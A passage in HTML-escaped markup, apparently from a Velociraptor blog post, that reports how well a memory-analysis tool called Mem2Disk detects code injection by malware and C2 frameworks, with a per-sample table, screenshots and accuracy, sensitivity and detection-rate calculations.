&lt;td&gt;netwire&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;20&lt;/td&gt;&#xA;          &lt;td&gt;Pandora&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;21&lt;/td&gt;&#xA;          &lt;td&gt;Platinum Group&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;22&lt;/td&gt;&#xA;          &lt;td&gt;qakbot&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;23&lt;/td&gt;&#xA;          &lt;td&gt;remcos&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;24&lt;/td&gt;&#xA;          &lt;td&gt;REvil&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;25&lt;/td&gt;&#xA;          &lt;td&gt;RokRAT&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;26&lt;/td&gt;&#xA;          &lt;td&gt;Ryuk&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;27&lt;/td&gt;&#xA;          &lt;td&gt;sliver C2&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;28&lt;/td&gt;&#xA;          &lt;td&gt;Slothful Media&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;29&lt;/td&gt;&#xA;          &lt;td&gt;smokeloader&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;30&lt;/td&gt;&#xA;          &lt;td&gt;synack&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;31&lt;/td&gt;&#xA;          &lt;td&gt;TsCookie&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;32&lt;/td&gt;&#xA;          &lt;td&gt;ursnif&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;33&lt;/td&gt;&#xA;          &lt;td&gt;WarzoneRAT&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;34&lt;/td&gt;&#xA;          &lt;td&gt;WhisperGate&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Table 3: Tested malware samples and their detection&lt;/p&gt;&#xA;&lt;p&gt;Injecting code into legitimate programs with all three tested C2 frameworks&#xA;(Sliver, Havoc, and Mythic) is detected by &lt;code&gt;Mem2Disk&lt;/code&gt;. Additionally, 21 further&#xA;malware samples were successfully detected.&lt;/p&gt;&#xA;&lt;p&gt;We usually injected into a running &lt;code&gt;Calculator&lt;/code&gt; app. Figure 1 and 2 show&#xA;screenshots of the detections for Havoc C2 and Mythic C2 respectively. The left&#xA;side of the screen shows the attacker virtual machine while the right side&#xA;shows the victim including the Velociraptor detection. &lt;code&gt;Process Hacker&lt;/code&gt; was&#xA;also displayed to show the PID of the &lt;code&gt;Calculator&lt;/code&gt; app. As shown in the two&#xA;screenshots, both times Velociraptor detects &lt;code&gt;Calculator&lt;/code&gt; as compromised.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-12-22-memory-analysis-pt2//blog/2025/2025-12-22-memory-analysis-pt2/2025-05-05_HavocC2_Calculator_Injection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Figure 1: Havoc C2 Detection&#34;&#xA;         width=&#34;2304&#34; height=&#34;1046&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;2025-05-05_HavocC2_Calculator_Injection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Figure 1: Havoc C2 Detection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Figure 1: Havoc C2 Detection&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-12-22-memory-analysis-pt2//blog/2025/2025-12-22-memory-analysis-pt2/2025-05-05_MythicC2_Calculator_Injection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Figure 2: Mythic C2 Detection&#34;&#xA;         width=&#34;2304&#34; height=&#34;1044&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;2025-05-05_MythicC2_Calculator_Injection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Figure 2: Mythic C2 Detection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Figure 2: Mythic C2 Detection&lt;/p&gt;&#xA;&lt;p&gt;Table 4 shows our full evaluation. Numbers in brackets are the amount&#xA;of samples in this category.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;Not-detected&lt;/th&gt;&#xA;          &lt;th&gt;Detected&lt;/th&gt;&#xA;          &lt;th&gt;Total&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Non-malware&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;35% (18)&lt;/td&gt;&#xA;          &lt;td&gt;0%  (0)&lt;/td&gt;&#xA;          &lt;td&gt;35% (18)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Malware&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;19% (10)&lt;/td&gt;&#xA;          &lt;td&gt;46% (24)&lt;/td&gt;&#xA;          &lt;td&gt;65% (34)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;54% (28)&lt;/td&gt;&#xA;          &lt;td&gt;46% (24)&lt;/td&gt;&#xA;          &lt;td&gt;100% (52)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Table 4: Detection rates (numbers in brackets are amount of samples)&lt;/p&gt;&#xA;&lt;p&gt;With these results, the true negatives (TN) are 35%, while the false positives&#xA;(FP) are 0%. Also, the false negatives (FN) are 19%, and the true positives&#xA;(TP) are 46%.&lt;/p&gt;&#xA;&lt;p&gt;As shown in the equations below, the detection rate is 100.0%, while the&#xA;sensitivity is 70.6%, and the accuracy is 80.8%.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mn&gt;100&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;24&lt;/mn&gt;&lt;mrow&gt;&lt;mn&gt;24&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mn&gt;100&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;100.0&lt;/mn&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;%&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;Detection\ rate = \frac{TP}{TP + FP} \times 100 = \frac{24}{24 + 0} \times 100 = 100.0%&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;De&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;ec&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;o&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;mspace&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.02778em;&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.2757em;vertical-align:-0.4033em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8723em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.13889em;&#34;&gt;TP&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.13889em;&#34;&gt;FP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.394em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.13889em;&#34;&gt;TP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.4033em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;×&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.2484em;vertical-align:-0.4033em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8451em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.394em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;24&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.4033em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;×&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8056em;vertical-align:-0.0556em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;100.0%&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;S&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mn&gt;100&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;24&lt;/mn&gt;&lt;mrow&gt;&lt;mn&gt;24&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;10&lt;/mn&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mn&gt;100&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;70.6&lt;/mn&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;%&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;Sensitivity = \frac{TP}{TP + FN} \times 100 = \frac{24}{24 + 10} \times 100 = 70.6%&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8778em;vertical-align:-0.1944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.05764em;&#34;&gt;S&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.03588em;&#34;&gt;v&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.03588em;&#34;&gt;y&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.2757em;vertical-align:-0.4033em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8723em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.13889em;&#34;&gt;TP&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.10903em;&#34;&gt;FN&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.394em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.13889em;&#34;&gt;TP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.4033em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;×&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.2484em;vertical-align:-0.4033em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8451em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;10&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.394em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;24&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.4033em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;×&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8056em;vertical-align:-0.0556em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;70.6%&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math 